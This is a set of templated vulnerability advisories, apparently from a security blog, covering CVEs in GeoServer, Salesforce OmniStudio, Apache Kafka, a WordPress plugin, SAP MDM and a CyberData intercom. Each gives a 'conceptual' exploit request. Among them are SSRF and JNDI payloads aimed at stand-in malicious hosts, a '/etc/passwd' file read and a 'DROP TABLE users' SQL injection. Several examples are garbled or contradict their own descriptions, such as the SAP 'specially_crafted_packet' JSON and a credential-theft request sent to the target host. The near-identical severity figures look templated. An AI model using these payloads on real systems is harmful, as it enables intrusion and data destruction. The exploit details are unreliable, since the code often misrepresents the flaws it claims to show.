Author: Ameeba

Overview

The vulnerability CVE-2024-29198 is a significant security flaw discovered in GeoServer, an open-source server software designed in Java for sharing and editing geospatial data. The vulnerability, if exploited, can lead to a Server Side Request Forgery (SSRF), potentially compromising the system or resulting in data leakage. This flaw is particularly concerning for businesses and organizations that rely on GeoServer for geospatial data management and could result in significant disruptions if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2024-29198
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GeoServer | versions prior to 2.24.4 and 2.25.2

How the Exploit Works

The vulnerability arises from GeoServer’s Demo request endpoint. If the Proxy Base URL has not been set, an attacker can manipulate the server into making an HTTP request to an arbitrary domain. This unauthorized request can lead to data leakage or even a potential system compromise if the attacker can reach sensitive internal services or execute certain commands.

Conceptual Example Code

Here’s a conceptual representation of how this vulnerability might be exploited using a malicious HTTP request:

POST /geoserver/demo/TestWfsPost HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<Execute>
<Identifier>http://target.internal/</Identifier>
</Execute>

In this example, the attacker sends a POST request to the Demo request endpoint with a crafted XML payload, directing the server to make an HTTP request to an internal target, potentially leading to SSRF.

Mitigation

To address this vulnerability, users are advised to upgrade to GeoServer 2.24.4, or 2.25.2, as these versions have removed the TestWfsPost servlet resolving this issue. If immediate updating is not possible, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method.

Overview

The cybersecurity vulnerability CVE-2025-43701 is a serious flaw in the Salesforce OmniStudio (FlexCards), which allows unauthorized access to Custom Settings data due to improper preservation of permissions. This issue affects a significant number of businesses and organizations worldwide that rely on Salesforce for their CRM needs. The vulnerability, if exploited, could lead to a system compromise or data leakage, posing a significant risk to the confidentiality, integrity, and availability of sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-43701
Severity: High, CVSS Severity Score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before version 254

How the Exploit Works

The exploit takes advantage of the improper preservation of permissions in Salesforce OmniStudio’s FlexCards. An attacker can manipulate this flaw to gain unauthorized access to Custom Settings data. The flawed security mechanism fails to properly preserve permissions, making it possible for low-level users to access sensitive data they are not supposed to reach.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited might involve a specially crafted HTTP request like the following:

GET /api/v1/settings/custom HTTP/1.1
Host: vulnerable-omnistudio-instance.salesforce.com
Authorization: Bearer low_privilege_token

In this example, the attacker uses a low-privilege token to request custom settings data that should normally be inaccessible. The server, failing to properly enforce access controls due to the vulnerability, returns the sensitive data.

Mitigation Guidance

Salesforce has released a patch for this vulnerability, and users are strongly encouraged to update their OmniStudio to the latest version to prevent exploitation. As a temporary mitigation, users could employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activity. However, these methods are not foolproof and updating the software is the most reliable solution.

Overview

This report discusses CVE-2025-43700, a significant vulnerability found in Salesforce OmniStudio. This flaw, categorized as an Improper Preservation of Permissions issue, could lead to the exposure of encrypted data, impacting users of OmniStudio versions before Spring 2025. Given Salesforce’s wide usage, this vulnerability could potentially expose a substantial amount of sensitive data if not mitigated.

Vulnerability Summary

CVE ID: CVE-2025-43700
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before Spring 2025

How the Exploit Works

The exploit takes advantage of the improper preservation of permissions in Salesforce OmniStudio’s FlexCards feature. An attacker can manipulate this flaw to bypass security measures and gain unauthorized access to encrypted data. This can potentially lead to system compromise or significant data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /omnistudio/flexcards/data HTTP/1.1
Host: vulnerable-omnistudio-instance.salesforce.com
Authorization: Bearer <malicious_token_with_improper_permissions>

In this example, the attacker uses a malicious token, which has improper permissions due to the vulnerability, to access the sensitive FlexCards data.

Mitigation

Users are advised to apply the vendor patch released by Salesforce to mitigate this vulnerability. In the interim, implementing Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation against potential exploits. Regularly updating and patching systems can help prevent such vulnerabilities in the future.

Overview

CVE-2025-43697 is a high-severity vulnerability that affects Salesforce OmniStudio, specifically its DataMapper component. This vulnerability stems from an improper preservation of permissions, potentially leading to unauthorized exposure of encrypted data. It is of significant concern to any organization using Salesforce OmniStudio versions prior to Spring 2025.

Vulnerability Summary

CVE ID: CVE-2025-43697
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorised exposure of encrypted data leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before Spring 2025

How the Exploit Works

The exploit leverages the improper preservation of permissions within Salesforce OmniStudio’s DataMapper component. An attacker can use this vulnerability to gain unauthorized access to encrypted data, bypassing the usual authentication and authorization processes. This could potentially lead to system compromise or data leakage, depending on the sensitivity of the accessed data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. It represents a malicious HTTP request to a vulnerable endpoint.

POST /datamapper/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "violated_permission": "encrypted_data_access", "action": "retrieve" }

The above example assumes that the attacker has knowledge of the specific endpoints and actions that can manipulate encrypted data access within Salesforce OmniStudio.

Mitigation Guidance

Salesforce has released a patch to address this vulnerability. Users are strongly urged to apply the patch immediately. As a temporary measure, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. However, these are temporary solutions and should not replace the need for patching the software.

Overview

This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27819
Severity: High, with a CVSS score of 7.5
Attack Vector: Network
Privileges Required: High (AlterConfigs permission on the cluster resource)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Kafka Connect API | All versions prior to 3.4.0
Apache Kafka | All versions prior to 3.4.0

How the Exploit Works

The vulnerability resides in the SASL JAAS JndiLoginModule configuration of both the Kafka Connect API and Apache Kafka brokers. An attacker with AlterConfigs permission on the cluster resource can exploit this vulnerability by sending a specially crafted request to connect to the Kafka cluster. Successful exploitation could lead to remote code execution or denial of service attack, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

kafka-console-producer --broker-list target.kafka.broker:9092 --topic test --producer.config=/path/to/alterConfigs_permission_config
# After gaining access
{ "type": "JNDI", "value": "rmi://malicious.server/malicious" }

In this example, the attacker uses the `kafka-console-producer` command with the `–producer.config` option pointing to a configuration file with AlterConfigs permission to connect to the Kafka cluster. Once connected, they send a malicious payload that exploits the JndiLoginModule vulnerability.

Mitigation Guidance

It is recommended to apply the vendor patch immediately. For Apache Kafka, upgrade to version 3.4.0 or later where the problematic login modules usage in SASL JAAS configuration is disabled. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The vulnerability, identified as CVE-2025-27817, is a severe security flaw found in Apache Kafka Client that potentially allows arbitrary file read and Server Side Request Forgery (SSRF). If exploited, this vulnerability could lead to system compromise or data leakage. It is especially significant for SaaS products and environments that utilize Apache Kafka Clients where configuration data can be manipulated by untrusted parties.

Vulnerability Summary

CVE ID: CVE-2025-27817
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Kafka Client | Prior to 3.9.1/4.0.0

How the Exploit Works

An attacker can exploit this vulnerability by manipulating the SASL/OAUTHBEARER connection configuration data, specifically the “sasl.oauthbearer.token.endpoint.url” and “sasl.oauthbearer.jwks.endpoint.url”. This allows the attacker to read arbitrary files, return their content in the error log, or make requests to unintended locations. In certain applications, such as Apache Kafka Connect, this flaw can escalate from REST API access to filesystem/environment/URL access.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /api/config HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.oauthbearer.jwks.endpoint.url": "http://malicious.example.com"
}

Here, the attacker is specifying a local file (in this case “/etc/passwd”) in the “sasl.oauthbearer.token.endpoint.url” parameter. This results in the contents of the file being read and returned in the error log. Furthermore, the attacker is using the “sasl.oauthbearer.jwks.endpoint.url” parameter to send requests to a malicious server.

Mitigation

Users are advised to upgrade to Apache Kafka Client 3.9.1/4.0.0 or newer and set the allowed urls in the SASL JAAS configuration explicitly through system property (“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”). Alternatively, the deployment of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy.

Overview

CVE-2025-4840 is a critical vulnerability discovered in the inprosysmedia-likes-dislikes-post WordPress plugin. This flaw allows unauthenticated users to perform SQL injection attacks, potentially compromising systems or leading to data leakage. This vulnerability is of high concern to WordPress site owners, especially those using the affected plugin, due to its high potential for misuse.

Vulnerability Summary

CVE ID: CVE-2025-4840
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

inprosysmedia-likes-dislikes-post WordPress Plugin | up to and including 1.0.0

How the Exploit Works

The vulnerability stems from the affected plugin’s failure to properly sanitize and escape a parameter before using it in an SQL statement. This occurs via an AJAX action that is available to unauthenticated users. An attacker can exploit this vulnerability by injecting malicious SQL code into the parameter, which can lead to unauthorized viewing, modification, or deletion of data in the database.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability through a malicious HTTP POST request:

POST /wp-admin/admin-ajax.php?action=inprosysmedia_likes_dislikes HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
payload=...'; DROP TABLE users; --

In this example, the attacker sends a malicious SQL statement (`DROP TABLE users; –`) as part of the payload, which if executed, would delete the ‘users’ table from the database.

Mitigation Guidance

To mitigate this vulnerability, affected users should apply the vendor’s patch as soon as it becomes available. As a temporary solution, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent SQL injection attacks.

Overview

The CVE-2025-42995 relates to a critical vulnerability in the SAP MDM Server’s Read function. This vulnerability could allow an attacker to disrupt the server process, leading to potential system compromise or data leakage. As SAP systems are utilized by many organizations around the globe, this vulnerability represents a significant risk that needs immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-42995
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Disruption of server process, potential system compromise, and possible data leakage

Affected Products

Product | Affected Versions

SAP MDM Server | All versions prior to the latest patch

How the Exploit Works

The exploit works by the attacker sending specially crafted packets to the SAP MDM server. These packets trigger a memory read access violation in the server process. This violation forces the server process to fail and exit unexpectedly, potentially leading to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /SAPMDMServerRead HTTP/1.1
Host: targetserver.com
Content-Type: application/json
{ "specially_crafted_packet": "trigger memory read access violation" }

In this example, the attacker sends a POST request with a specially crafted payload designed to trigger the memory read access violation. Once the server processes this request, it fails and exits unexpectedly, creating potential for system compromise or data leakage.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary protection by detecting and blocking attempts to exploit this vulnerability.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a new vulnerability, CVE-2025-42994, which affects the SAP Master Data Management (MDM) Server. This vulnerability pertains to the ReadString function and can be exploited by an attacker to trigger a memory read access violation in the server process. This vulnerability is significant due to its potential to cause unexpected system shutdowns and interrupt the availability of the application.

Vulnerability Summary

CVE ID: CVE-2025-42994
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

SAP MDM Server | All current versions

How the Exploit Works

The vulnerability is present in the ReadString function of the SAP MDM Server. An attacker can craft special packets that, when processed by the server, trigger a memory read access violation. This violation leads to an unexpected exit of the server process, causing a service disruption and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /ReadString HTTP/1.1
Host: vulnerable-sap-mdm-server.com
Content-Type: application/json
{
"specially_crafted_packet": "..."
}

In this example, the “specially_crafted_packet” would contain data designed to trigger the memory read access violation. When the server attempts to process this packet, it could fail and exit unexpectedly.
To mitigate this vulnerability, apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

This report provides a detailed analysis of a critical vulnerability identified in the CyberData 011209 Intercom. The vulnerability, tracked as CVE-2025-30183, can lead to a potential system compromise or data leakage due to improper storage and protection of web server admin credentials. The severity of the issue and its widespread impact makes understanding and addressing this vulnerability crucial for all CyberData 011209 Intercom users.

Vulnerability Summary

CVE ID: CVE-2025-30183
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to web server admin credentials, potential system compromise, or data leakage.

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The CyberData 011209 Intercom does not adequately protect or store web server admin credentials. This flaw can be exploited by an attacker who can intercept the unencrypted credentials over the network. Once obtained, these credentials can be used to gain unauthorized access to the system, leading to potential system compromise or data leakage.

Conceptual Example Code

An attacker might exploit the vulnerability by intercepting the network traffic to capture the admin credentials. This could be an example of an HTTP request that could be used to send the captured data to an attacker-controlled server:

GET /retrieve_credentials HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "stolen_credentials": "admin_username:admin_password" }

Mitigation Measures

Users are advised to apply the vendor-provided patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to prevent unauthorized access to the web server admin credentials. Regular monitoring and analysis of network traffic for any abnormal activities can also aid in early detection of any exploitation attempts.